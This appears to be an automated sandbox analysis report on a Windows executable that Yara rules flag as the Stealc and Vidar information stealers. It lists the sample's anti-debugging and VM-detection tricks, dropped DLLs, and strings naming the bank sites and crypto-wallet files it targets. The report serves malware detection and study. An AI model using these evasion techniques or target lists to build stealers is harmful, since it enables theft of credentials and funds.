Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B309 second address: 125B34B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push ebx 0x0000000b jmp 00007F43B8FD99F4h 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 nop 0x00000013 mov edx, ecx 0x00000015 push dword ptr [ebp+124491D1h] 0x0000001b or dword ptr [ebp+122D181Ch], edi 0x00000021 call 00007F43B8FD99E9h 0x00000026 pushad 0x00000027 jbe 00007F43B8FD99ECh 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B34B second address: 125B36C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F43B8D26622h 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007F43B8D2661Eh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B36C second address: 125B38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e jc 00007F43B8FD99E8h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B38A second address: 125B395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F43B8D26616h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CB88 second address: 125CB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C74C second address: 125C750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C750 second address: 125C763 instructions: 0x00000000 rdtsc 0x00000002 je 00007F43B8FD99E6h 0x00000008 jno 00007F43B8FD99E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125C763 second address: 125C769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E57C second address: 125E584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E584 second address: 125E58B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E58B second address: 125E5BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43B8FD99F3h 0x00000008 jnl 00007F43B8FD99E6h 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F43B8FD99F0h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58703D7 second address: 58703DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58703DC second address: 58703F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43B8FD99F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58703F7 second address: 587041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov si, 5363h 0x0000000d mov dx, si 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F43B8D26620h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587041B second address: 5870423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5870423 second address: 587046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F43B8D2661Fh 0x0000000f and ecx, 7DF28AEEh 0x00000015 jmp 00007F43B8D26629h 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007F43B8D2661Eh 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5870A8A second address: 5870A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5870A90 second address: 5870ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F43B8D26625h 0x00000012 add cx, 4B96h 0x00000017 jmp 00007F43B8D26621h 0x0000001c popfd 0x0000001d mov edi, esi 0x0000001f popad 0x00000020 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FD1AFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FD1BE3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FCF58A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11FEC1C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 9.9 %

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D84910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00D84910
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_00D7DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_00D7E430
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00D716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00D7F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D83EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	4_2_00D83EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	4_2_00D7BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	4_2_00D838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D84570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	4_2_00D84570
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	4_2_00D7ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_00D7DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00D7DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D71160 GetSystemInfo,ExitProcess,

4_2_00D71160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: EBGCFBGC.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: EBGCFBGC.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: EBGCFBGC.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000004.00000002.1532715149.0000000001B36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: EBGCFBGC.4.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000004.00000002.1532715149.0000000001B66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: EBGCFBGC.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: EBGCFBGC.4.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: EBGCFBGC.4.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: EBGCFBGC.4.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: EBGCFBGC.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: EBGCFBGC.4.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: EBGCFBGC.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: EBGCFBGC.4.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareT
Source: EBGCFBGC.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: EBGCFBGC.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: EBGCFBGC.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EBGCFBGC.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: EBGCFBGC.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: EBGCFBGC.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: EBGCFBGC.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-58175
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-58178
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-59364
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-58193
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-58229
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_4-58189

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_6CF25FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

4_2_6CF25FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D745C0 VirtualProtect ?,00000004,00000100,00000000

4_2_00D745C0

Source: C:\Users\user\Desktop\file.exe

4_2_00D89860

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D89750 mov eax, dword ptr fs:[00000030h]

4_2_00D89750

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D878E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

4_2_00D878E0

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_6CEFB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_6CEFB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D89600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00D89600

Source: file.exe, file.exe, 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: pc"FProgram Manager
Source: file.exe, 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: opc"FProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_6CEFB341 cpuid

4_2_6CEFB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

4_2_00D87B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D87980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

4_2_00D87980

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D87850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

4_2_00D87850

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D87A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

4_2_00D87A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 4.2.file.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.1294425570.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6648, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
